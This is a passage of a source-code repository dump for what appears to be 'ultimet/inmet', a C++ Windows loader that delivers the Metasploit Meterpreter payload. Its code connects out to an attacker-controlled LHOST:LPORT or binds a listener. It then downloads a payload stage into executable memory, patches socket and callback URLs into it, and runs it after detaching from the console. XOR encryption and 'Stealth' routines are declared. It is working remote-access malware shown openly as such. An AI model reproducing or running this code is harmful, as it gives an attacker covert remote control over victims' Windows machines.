471 | if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && !bBind) //Transport SSL, but not bind.
472 | {
473 | if(!metsvc) //Are we METERPRETER_TRANSPORT_SSL but not metsvc? note that reverse_tcp AND reverse_metsvc use the same transport, it's the exploit/multi/handler that will make the difference.
474 | {
475 | // If we reached this far, it means that the stage is loaded, transport is SSL, yet metsvc is still false "not chosen", even though we have the stage
476 | // That means stage will be loaded AGAIN over network, next time, they should chose reverse_metsvc.
477 | // However, The customer is always right, right? let's connect them to their beloved reverse_tcp in stager mode nevertheless.
478 | // ... but we have to tell them what they've done wrong.
479 | dprintf(L"\n[!] We already have the stage, why did you chose reverse_tcp? you could've picked reverse_metsvc.\n"
480 | L" next time use \"-t reverse_metsvc\" -> \"exploit/multi/handler/windows/metsvc_reverse_tcp\".\n"
481 | L" - anyway, will assume you know what you're doing and connect to reverse_tcp in *stager* mode...\n\n");
482 |
483 | dprintf(L"[*] Make sure you have \"windows/meterpreter/reverse_tcp\" handler running.\n\n");
484 |
485 | // Let's just fallback to stager mode ... you foolish noisy bandwidth wasters.
486 | StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT);
487 | // see you on the other side :)
488 | }
489 |
490 | // we are METERPRETER_TRANSPORT_SSL, we have the stage, and metsvc is true :)
491 |
492 | // Adjusting buffer .. this is important!
493 | // reverse_metsvc has extra requirements ... the stage needs to be preceeded with `0xBF + 4 bytes of a valid socket connected to the handler`
494 | // My approach to acheive this: We'll first VirtualAlloc size + 5 bytes to another buffer "TempBuffer", skip 5 bytes, then copy the contents
495 | // of "buffer" over, then point buffer to that new TempBuffer ... then take it from there.
496 | TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
497 | memcpy(TempBuffer + 5, buffer, StageSize); //skiping first five bytes, then copying buffer contents ...
498 | buffer = TempBuffer; //Got it? I'm sure there's a better way to do that, but I'm not smart enough to figure out how yet :).
499 | //////////////////////////////////////////////////
500 |
501 | if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_reverse_tcp\" handler running.\n\n");
502 | ConnectSocket = get_socket(payload_settings.LHOST,payload_settings.LPORT);
503 | if (ConnectSocket == INVALID_SOCKET)
504 | {
505 | dprintf(L"[-] Failed to connect ... will exit!\n");
506 | exit(1);
507 | }
508 | dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buffer);
509 | buffer[0] = 0xBF;
510 | dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
511 | memcpy(buffer+1, &ConnectSocket, 4);
512 | }
513 |
514 | // Are we bind??
515 | else if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0 && bBind) // I know we could've merged this with the previous code block, but that's clearer.
516 | {
517 | if(!metsvc)
518 | {
519 | dprintf(L"\n[!] We already have the stage, why did you chose bind_tcp? you could've picked bind_metsvc.\n"
520 | L" next time use \"-t bind_metsvc\" -> \"exploit/multi/handler/windows/metsvc_bind_tcp\".\n"
521 | L" - anyway, will assume you know what you're doing and connect to bind_tcp in *stager* mode...\n\n");
522 |
523 | dprintf(L"[*] Make sure you have \"windows/meterpreter_bind_tcp\" handler running.\n\n");
524 |
525 | StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT);
526 | }
527 |
528 | TempBuffer = (unsigned char*)VirtualAlloc(0, StageSize + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
529 | memcpy(TempBuffer + 5, buffer, StageSize);
530 | buffer = TempBuffer;
531 |
532 | if (metsvc) dprintf(L"\n[*] Make sure you have \"windows/metsvc_bind_tcp\" handler running.\n\n");
533 | ConnectSocket = get_server_socket(payload_settings.LHOST,payload_settings.LPORT);
534 | if (ConnectSocket == INVALID_SOCKET)
535 | {
536 | dprintf(L"[-] Failed to connect ... will exit!\n");
537 | exit(1);
538 | }
539 | dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buffer);
540 | buffer[0] = 0xBF;
541 | dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
542 | memcpy(buffer+1, &ConnectSocket, 4);
543 | }
544 |
545 | // Are we reverse_http(s)?
546 | else if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0))
547 | {
548 | /*
549 | Building the URL
550 | */
551 | int checksum = 0; //Calculated Checksum placeholder.
552 | char URI_Part_1[5] = {0}; //4 chars ... it can be any length actually.
553 | char URI_Part_2[17] = {0}; //16 random chars.
554 | srand ( (UINT)time(NULL) ); //Seed rand()
555 |
556 | while(true) //Keep getting random values till we succeed, don't worry, computers are pretty fast and we're not asking for much.
557 | {
558 | gen_random(URI_Part_1, 4); //Generate a 4 char long random string ... it could be any length actually, but 4 sounded just fine.
559 | checksum = TextChecksum8(URI_Part_1); //Get the 8-bit checksum of the random value
560 | if(checksum == URI_CHECKSUM_CONN) //If the checksum == 98, it will be handled by the multi/handler correctly as a "CONN_" and will be short fused into a session.
561 | {
562 | break; // We found a random string that checksums to 98
563 | }
564 | }
565 | gen_random(URI_Part_2, 16); //get second part, random 16 chars
566 |
567 | //Let's build the complete uri, it should look like http(s)://LHOST:LPORT/CHECKSUM8(98)_XXXXXXXXXXXXXXXX/
568 | //HTTP? HTTPS?
569 | if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0)
570 | strcat_s(url, "http://");
571 | else
572 | strcat_s(url, "https://");
573 |
574 | //The joys of converting between wchar_t and char ...
575 | char tempChar1[512] = {0}; //This is used for converting from wchar_t to char...
576 | char tempChar2[512] = {0}; //This is used for converting from wchar_t to char...
577 |
578 | wcstombs_s(NULL,tempChar1,payload_settings.LHOST, wcslen(payload_settings.LHOST)); //convert the LHOST to char
579 | wcstombs_s(NULL,tempChar2,payload_settings.LPORT, wcslen(payload_settings.LPORT)); //convert the LPORT to char
580 |
581 | //wide-char conversion happiness ends here... building the url...
582 | strcat_s(url,tempChar1); // "http(s)://LHOST"
583 | strcat_s(url,":"); // "http(s)://LHOST:"
584 | strcat_s(url,tempChar2); // "http(s)://LHOST:LPORT"
585 | strcat_s(url,"/"); // "http(s)://LHOST:LPORT/"
586 | strcat_s(url,URI_Part_1); // "http(s)://LHOST:LPORT/CONN"
587 | strcat_s(url,"_"); // "http(s)://LHOST:LPORT/CONN_"
588 | strcat_s(url,URI_Part_2); // "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX"
589 | strcat_s(url,"/\0"); // "http(s)://LHOST:LPORT/CONN_XXXXXXXXXXXX/"
590 | //Thanks for waiting... :)
591 |
592 | wchar_t temp[512] = {0};
593 | mbstowcs_s(NULL,temp,url,strlen(url));
594 | dprintf(L"[*] Calculated URL: %s\n",temp);
595 |
596 | //Patching URL ...
597 | index = 0; //Rewind
598 | index = binstrstr(buffer, (int)bufferSize, (unsigned char*)global_meterpreter_url, (int)strlen(global_meterpreter_url));
599 | if (index == 0) // if the global_meterpreter_url is not found ...
600 | {
601 | dprintf(L"[-] Couldn't locate global_meterpreter_url string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
602 | exit(1);
603 | }
604 | dprintf(L"[*] Patching global_meterpreter_url: Offset 0x%08x -> \"%s\"\n", index, temp );
605 | memcpy(&buffer[index], &url, strlen(url)+1); //+1 to make sure it'll be null terminated, otherwise it will end with 'X'
606 | }
607 |
608 | }
609 |
610 | dprintf(L"[*] Everything in place, casting whole buffer as a function...\n");
611 | function = (void (*)())buffer;
612 |
613 | dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n");
614 | FreeConsole();
615 | function();
616 | return 0;
617 | }
618 |
--------------------------------------------------------------------------------
/inmet/main.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 | #pragma comment(lib, "Ws2_32.lib") // Better here than linker settings...
3 | #pragma comment(lib, "wininet.lib")
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include // Make *sure* windows.h gets included after everyting else ... redefinition hell...
9 | #include
10 | #include
11 | #include
12 | #include "Constants.h"
13 | #include "resource.h"
14 |
15 | #include
16 |
17 |
18 | //Print if debugging ... learned that from meterpreter source code, metasploit.
19 | //#ifndef _DEBUG
20 | //#define dprintf(...) do{}while(0); //if debug not defined, it will do nothing.
21 | //#else
22 | #define dprintf(...) wprintf_s(__VA_ARGS__) //if debug enabled, it will printf everything.
23 | //#endif
24 |
25 | // Payload settings struct, this gets populated in many ways "command line, file name, resource"
26 | struct PAYLOAD_SETTINGS {
27 | wchar_t *TRANSPORT;
28 | wchar_t *LHOST;
29 | wchar_t *LPORT;
30 | wchar_t *USER_AGENT;
31 | int expiration_timeout;
32 | int comm_timeout;
33 | };
34 |
35 | // Function prototypes goes here
36 | LONGLONG SizeFromName(LPCWSTR szFileName); // Provide a filename, it returns the filesize in bytes.
37 | DWORD CopyStageToBuffer(LPCWSTR szFileName, unsigned char** buffer); // Copies file contents to buffer, return buffer size.
38 | int PatchString(unsigned char* buffer, const wchar_t* cOriginal, const int index, const int NoOfBytes); // Search and replace a string in a given buffer.
39 | bool AnsiToUnicode(const char* ascii, wchar_t* unicode); // Sorry for the insist on unicode support, I'm from Egypt :)
40 | bool UnicodeToAnsi(char* ascii, const wchar_t* unicode);
41 | DWORD binstrstr (unsigned char * buff1, int lenbuff1, unsigned char * buff2, int lenbuff2); // Binary search, return offset, or 0 if not found/error...
42 |
43 | SOCKET get_socket(wchar_t* IP, wchar_t* iPort); // get a socket from an IP and PORT
44 | SOCKET get_server_socket(wchar_t* IP, wchar_t* iPort);
45 |
46 | DWORD ResourceToBuffer(WORD wResourceID, LPCTSTR lpType, unsigned char** buffer);
47 | void XORcrypt(unsigned char *buffer, char *key, int size);
48 | void GetKeyFromBuffer(unsigned char* buffer, char* key, int size);
49 | void gen_random(char *s, const int len);
50 | int TextChecksum8(char* text);
51 | void print_header();
52 | void usage();
53 | void BuildURL(char *url, int checksum8);
54 |
55 |
56 | void StagerRevereTCP(wchar_t* IP, wchar_t* iPort);
57 | void StagerReverseHTTP(wchar_t *IP, wchar_t *iPort, wchar_t *transport);
58 |
59 | void StagerBindTCP(wchar_t* IP, wchar_t* iPort);
60 |
61 | BOOL GetOptionsFromResource(wchar_t *transport, wchar_t *lhost, wchar_t *lport);
62 | BOOL IsThisAValidTransport(wchar_t *transport);
63 | BOOL ResourceOptionsReset(void);
64 | void RemoveStage(void);
65 | void msfpayload(char *transport, char *lhost, char *lport);
66 | void Stealth(void);
67 |
68 |
69 | DWORD ReflectiveLoaderOffset(DWORD BaseAddress);
70 | DWORD RVAToOffset(IMAGE_NT_HEADERS32 * pNtHdr, DWORD dwRVA);
71 |
72 |
--------------------------------------------------------------------------------
/inmet/options.txt:
--------------------------------------------------------------------------------
1 | |UM|INVALID|INVALID|INVALID|
--------------------------------------------------------------------------------
/inmet/resource.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/inmet/resource.h
--------------------------------------------------------------------------------
/inmet/winsock_functions.cpp:
--------------------------------------------------------------------------------
1 | #include "main.h"
2 | /*
3 | Steps are as follows:
4 | 1- Initialize winsock
5 | 2- Connect to lhost:lport
6 | 3- Return socket on success, INVALID_SOCKET otherwise...
7 | */
8 |
9 | #define DEFAULT_BUFLEN 512
10 |
11 | SOCKET get_socket(wchar_t* IP, wchar_t* iPort) // MSDN http://msdn.microsoft.com/en-us/library/windows/desktop/ms737591(v=vs.85).aspx
12 | {
13 | WSADATA wsaData;
14 | SOCKET SocketToHandler = INVALID_SOCKET;
15 | char ansiIP[1024] = {0};
16 | char ansiPort[128] = {0};
17 |
18 | UnicodeToAnsi(ansiIP,IP);//I do not know why this works for me without problems, but when using wcstombs instead, ultimet stops responding w/error after KILLING THE SESSION FROM THE HANDLER SIDE...
19 | UnicodeToAnsi(ansiPort,iPort);
20 | //wcstombs(ansiIP,IP,wcslen(IP));
21 | //wcstombs(ansiPort,iPort,wcslen(iPort));
22 |
23 | struct addrinfo *result = NULL; // A pointer to a linked list of addrinfo structures that contains response information about the host.
24 | struct addrinfo hints = {0}; // A pointer to an addrinfo structure that provides hints about the type of socket the caller supports. `getaddrinfo()`
25 |
26 | int iResult;
27 |
28 | // Initialize Winsock
29 | iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
30 | if (iResult != 0)
31 | {
32 | printf("WSAStartup failed: %d\n", iResult);
33 | WSACleanup();
34 | return INVALID_SOCKET;
35 | }
36 |
37 | // Resolve the handler address and port
38 | hints.ai_family = AF_INET; // fill the hints structure
39 | hints.ai_socktype = SOCK_STREAM;
40 | hints.ai_protocol = IPPROTO_TCP;
41 |
42 | iResult = getaddrinfo(ansiIP, ansiPort, &hints, &result);
43 | if ( iResult != 0 ) {
44 | printf("getaddrinfo failed with error: %d\n", iResult);
45 | WSACleanup();
46 | return INVALID_SOCKET;
47 | }
48 |
49 | // Create a SOCKET for connecting to server
50 | SocketToHandler = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
51 | if (SocketToHandler == INVALID_SOCKET) {
52 | printf("socket failed with error: %ld\n", WSAGetLastError());
53 | WSACleanup();
54 | return INVALID_SOCKET;
55 | }
56 |
57 | // Connect to handler
58 | iResult = connect( SocketToHandler, result->ai_addr, (int)result->ai_addrlen);
59 | if (iResult == SOCKET_ERROR) {
60 | closesocket(SocketToHandler);
61 | return INVALID_SOCKET;
62 | }
63 | return SocketToHandler;
64 | }
65 |
66 | void StagerRevereTCP(wchar_t* IP, wchar_t* iPort)
67 | {
68 | SOCKET sckt;
69 | int len = 0;
70 | char* buff;
71 | int count = 0;
72 |
73 | sckt = get_socket(IP, iPort); // connect
74 | if (sckt == INVALID_SOCKET) //Couldn't connect
75 | {
76 | dprintf(L"[-] Failed to connect ... will exit!\n");
77 | exit(1);
78 | }
79 | dprintf(L"[+] Socket: %d\n", sckt);
80 |
81 | dprintf(L"[*] Connecting \"%s:%s\"\n", IP, iPort);
82 |
83 | count = recv(sckt, (char*)&len, 4, NULL); //read 4 bytes ... the first 4 bytes sent over from the handler are size of stage
84 | if (count != 4 || len <= 0)
85 | {
86 | dprintf(L"[-] We connected, but something went wrong while receiving stage size ... will exit!\n");
87 | exit(1);
88 | }
89 |
90 | dprintf(L"[*] Stage length = \"%d\" bytes.\n", len);
91 | buff = (char*)VirtualAlloc(0, len + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ; //allocate
92 | if (buff == NULL)
93 | {
94 | dprintf(L"[-] Failed to allocate memory! VirtualAlloc() returned : %08x\n", GetLastError());
95 | exit(1);
96 | }
97 |
98 | dprintf(L"[*] Success! \"%d\" bytes allocated.\n", (len + 5));
99 | // Getting the stage
100 | recv(sckt, buff + 5, len, MSG_WAITALL); // not specifying MSG_WAITALL caused me two days of headache ...
101 | dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buff);
102 | buff[0] = (char)0xBF;
103 | dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
104 | memcpy(buff+1, &sckt, 4);
105 | dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n");
106 | (*(void (*)())buff)();//Bye bye ...
107 | }
108 |
109 |
110 | void StagerBindTCP(wchar_t* IP, wchar_t* iPort)
111 | {
112 | SOCKET sckt;
113 | int len = 0;
114 | char* buff;
115 | int count = 0;
116 |
117 | sckt = get_server_socket(IP, iPort);
118 | if (sckt == INVALID_SOCKET)
119 | {
120 | dprintf(L"[-] Failed to connect ... will exit!\n");
121 | exit(1);
122 | }
123 | dprintf(L"[+] Socket: %d\n", sckt);
124 |
125 | dprintf(L"[*] Listening on \"%s:%s\"\n", IP, iPort);
126 |
127 | count = recv(sckt, (char*)&len, 4, NULL);
128 | if (count != 4 || len <= 0)
129 | {
130 | dprintf(L"[-] We connected, but something went wrong while receiving stage size ... will exit!\n");
131 | exit(1);
132 | }
133 |
134 | dprintf(L"[*] Stage length = \"%d\" bytes.\n", len);
135 | buff = (char*)VirtualAlloc(0, len + 5, MEM_COMMIT, PAGE_EXECUTE_READWRITE) ; //allocate
136 | if (buff == NULL)
137 | {
138 | dprintf(L"[-] Failed to allocate memory! VirtualAlloc() returned : %08x\n", GetLastError());
139 | exit(1);
140 | }
141 |
142 | dprintf(L"[*] Success! \"%d\" bytes allocated.\n", (len + 5));
143 |
144 | recv(sckt, buff + 5, len, MSG_WAITALL);
145 |
146 | dprintf(L"[*] Setting EDI-to-be value: 0x%08x -> 0xBF\n", &buff);
147 | buff[0] = (char)0xBF;
148 |
149 | dprintf(L"[*] Copying the socket address to the next 4 bytes...\n");
150 | memcpy(buff+1, &sckt, 4);
151 |
152 | dprintf(L"[*] Detaching from console & calling the function, bye bye [ultimet], hello metasploit!\n");
153 | (*(void (*)())buff)();
154 | };
155 |
156 | SOCKET get_server_socket(wchar_t* IP, wchar_t* iPort)
157 | {
158 | WSADATA wsaData;
159 | int iResult;
160 |
161 | SOCKET ListenSocket = INVALID_SOCKET;
162 | SOCKET ClientSocket = INVALID_SOCKET;
163 |
164 | struct addrinfo *result = NULL;
165 | struct addrinfo hints;
166 |
167 | //int iSendResult;
168 | //char recvbuf[DEFAULT_BUFLEN];
169 | int recvbuflen = DEFAULT_BUFLEN;
170 |
171 | char ansiIP[1024] = {0};
172 | char ansiPort[128] = {0};
173 |
174 | UnicodeToAnsi(ansiIP,IP);
175 | UnicodeToAnsi(ansiPort,iPort);
176 |
177 | // Initialize Winsock
178 | iResult = WSAStartup(MAKEWORD(2,2), &wsaData);
179 | if (iResult != 0) {
180 | printf("WSAStartup failed with error: %d\n", iResult);
181 | return INVALID_SOCKET;
182 | }
183 |
184 | ZeroMemory(&hints, sizeof(hints));
185 | hints.ai_family = AF_INET;
186 | hints.ai_socktype = SOCK_STREAM;
187 | hints.ai_protocol = IPPROTO_TCP;
188 | hints.ai_flags = AI_PASSIVE;
189 |
190 | // Resolve the server address and port
191 | iResult = getaddrinfo(ansiIP, ansiPort, &hints, &result);
192 | if ( iResult != 0 ) {
193 | printf("getaddrinfo failed with error: %d\n", iResult);
194 | WSACleanup();
195 | return INVALID_SOCKET;
196 | }
197 |
198 | // Create a SOCKET for connecting to server
199 | ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
200 | if (ListenSocket == INVALID_SOCKET) {
201 | printf("socket failed with error: %ld\n", WSAGetLastError());
202 | freeaddrinfo(result);
203 | WSACleanup();
204 | return INVALID_SOCKET;
205 | }
206 |
207 | // Setup the TCP listening socket
208 | iResult = bind( ListenSocket, result->ai_addr, (int)result->ai_addrlen);
209 | if (iResult == SOCKET_ERROR) {
210 | printf("bind failed with error: %d\n", WSAGetLastError());
211 | freeaddrinfo(result);
212 | closesocket(ListenSocket);
213 | WSACleanup();
214 | return INVALID_SOCKET;
215 | }
216 |
217 | freeaddrinfo(result);
218 |
219 | iResult = listen(ListenSocket, SOMAXCONN);
220 | if (iResult == SOCKET_ERROR) {
221 | printf("listen failed with error: %d\n", WSAGetLastError());
222 | closesocket(ListenSocket);
223 | WSACleanup();
224 | return INVALID_SOCKET;
225 | }
226 |
227 | // Accept a client socket
228 | ClientSocket = accept(ListenSocket, NULL, NULL);
229 | if (ClientSocket == INVALID_SOCKET) {
230 | printf("accept failed with error: %d\n", WSAGetLastError());
231 | closesocket(ListenSocket);
232 | WSACleanup();
233 | return INVALID_SOCKET;
234 | }
235 |
236 | // No longer need server socket
237 | closesocket(ListenSocket);
238 |
239 | return ClientSocket;
240 |
241 | /*// Receive until the peer shuts down the connection
242 | do {
243 |
244 | iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
245 | if (iResult > 0) {
246 | printf("Bytes received: %d\n", iResult);
247 |
248 | // Echo the buffer back to the sender
249 | iSendResult = send( ClientSocket, recvbuf, iResult, 0 );
250 | if (iSendResult == SOCKET_ERROR) {
251 | printf("send failed with error: %d\n", WSAGetLastError());
252 | closesocket(ClientSocket);
253 | WSACleanup();
254 | return 1;
255 | }
256 | printf("Bytes sent: %d\n", iSendResult);
257 | }
258 | else if (iResult == 0)
259 | printf("Connection closing...\n");
260 | else {
261 | printf("recv failed with error: %d\n", WSAGetLastError());
262 | closesocket(ClientSocket);
263 | WSACleanup();
264 | return 1;
265 | }
266 |
267 | } while (iResult > 0);
268 |
269 | // shutdown the connection since we're done
270 | iResult = shutdown(ClientSocket, SD_SEND);
271 | if (iResult == SOCKET_ERROR) {
272 | printf("shutdown failed with error: %d\n", WSAGetLastError());
273 | closesocket(ClientSocket);
274 | WSACleanup();
275 | return 1;
276 | }
277 |
278 | // cleanup
279 | closesocket(ClientSocket);
280 | WSACleanup();*/
281 |
282 | };
--------------------------------------------------------------------------------
/metsrv.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/metsrv.dll
--------------------------------------------------------------------------------
/ultimet.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SherifEldeeb/inmet/654922bd86e4af4e72f3234924385444364dd4e9/ultimet.zip
--------------------------------------------------------------------------------